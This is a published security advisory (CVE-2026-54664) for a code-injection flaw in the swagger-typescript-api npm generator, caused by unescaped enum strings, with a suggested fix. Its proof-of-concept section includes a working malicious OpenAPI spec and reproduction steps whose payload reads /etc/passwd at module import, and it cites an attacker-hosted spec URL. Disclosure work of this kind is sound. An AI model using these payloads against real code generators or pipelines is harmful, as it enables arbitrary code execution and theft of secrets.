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swagger-typescript-api vulnerable to code injection via unescaped enum string values

High severity GitHub Reviewed Published Jun 8, 2026 in acacode/swagger-typescript-api • Updated Jul 29, 2026

Package

npm swagger-typescript-api (npm)

Affected versions

<= 13.12.1

Patched versions

13.12.2

Description

Summary

swagger-typescript-api interpolates components.schemas.*.enum[i] string values into the body of generated TypeScript enum declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at module load the first time the generated client is imported. The trigger requires no instantiation and no method call — only an import of the generated module. The attacker controls the OpenAPI spec (remote --url, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges — read any file the importer can read, write any file, exfiltrate secrets, etc.

Details

The root cause is Ts.StringValue in src/configuration.ts:250:

StringValue: (content: unknown) => `"${content}"`,

It wraps a value in double quotes with zero escaping — no handling of ", \, newlines, or anything else. The codebase's only escape function (escapeJSDocContent in src/schema-parser/schema-formatters.ts:127) only replaces */ and is never applied to this path.

Enum string values reach Ts.StringValue at src/schema-parser/base-schema-parsers/enum.ts:100 and :116:

return this.config.Ts.StringValue(value);
// ...
value: this.config.Ts.StringValue(enumName),

The result is interpolated raw into the enum body in templates/base/enum-data-contract.ejs (default enumStyle: "enum" branch, lines 24-31):

export enum <%~ name %> {
  <%~ _.map($content, ({ key, value, description }) => {
    ...
    return [
      formattedDescription && `/** ${formattedDescription} */`,
      `${key} = ${value}`
    ].filter(Boolean).join("\n");
  }).join(",\n") %>
}

Where ${value} is the result of Ts.StringValue — raw "${content}". An attacker-controlled enum value containing a " closes the string and exposes the surrounding code position to injection.

A ;} sequence terminates the enum body mid-stream. A { opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing // consumes the closing " that Ts.StringValue still appends, and the template's own closing } of the enum becomes the closing } of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare await import('./generated.js').

The same Ts.StringValue function is also called from src/schema-parser/schema-utils.ts:215,406, src/schema-parser/base-schema-parsers/object.ts:47, and src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime — they are safe by accident of context, not by escaping. A fix that hardens Ts.StringValue itself protects those sites too as defense in depth.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious enum value (literal string, JSON-encoded in the spec below):

blue";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//

Minimal payload spec:

{
  "openapi": "3.0.0",
  "info": { "title": "EnumPayloadAPI", "version": "1.0.0" },
  "components": {
    "schemas": {
      "Color": {
        "type": "string",
        "enum": [
          "red",
          "blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
        ]
      }
    }
  },
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": {
          "200": {
            "description": "OK",
            "content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } }
          }
        }
      }
    }
  }
}

Steps:

npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (enum block — payload):

    export enum Color {
  Red = "red",
  BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = "blue";}
{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
 }

The ;} closes the enum body. The {...} after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.

Result: after bare import of the bundle, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec ("enum": ["red", "blue"]) generates a clean enum and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely. Concrete scenarios:

  • sta generate --url https://attacker.example/openapi.json — a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project pinned to a spec file that a contributor can modify via PR — the spec change is itself the exploit.

Lifecycle: the bare-block IIFE fires at module load. A consumer does not need to instantiate HttpClient, does not need to call any API method, does not need to use the enum value — they only need to import the generated module (or anything that transitively imports it, e.g. the data-contracts.ts file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.

Privilege: the IIFE runs with the full privileges of the importing process — read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.

Suggested fix: harden Ts.StringValue in src/configuration.ts:250 to produce a properly-escaped JavaScript string literal — escape at minimum ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators /. JSON.stringify on the content is a one-line acceptable implementation. This single change also protects every other call site of Ts.StringValue (currently safe only by accident of landing in type-level positions).

Submitted by: Hamza Haroon (thegr1ffyn)

References

@js2me js2me published to acacode/swagger-typescript-api Jun 8, 2026
Published to the GitHub Advisory Database Jul 29, 2026
Reviewed Jul 29, 2026
Last updated Jul 29, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(40th percentile)

Weaknesses

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. Learn more on MITRE.

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Improper Neutralization of Special Elements Used in a Template Engine

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. Learn more on MITRE.

CVE ID

CVE-2026-54664

GHSA ID

GHSA-5f94-x226-ccpm

Credits

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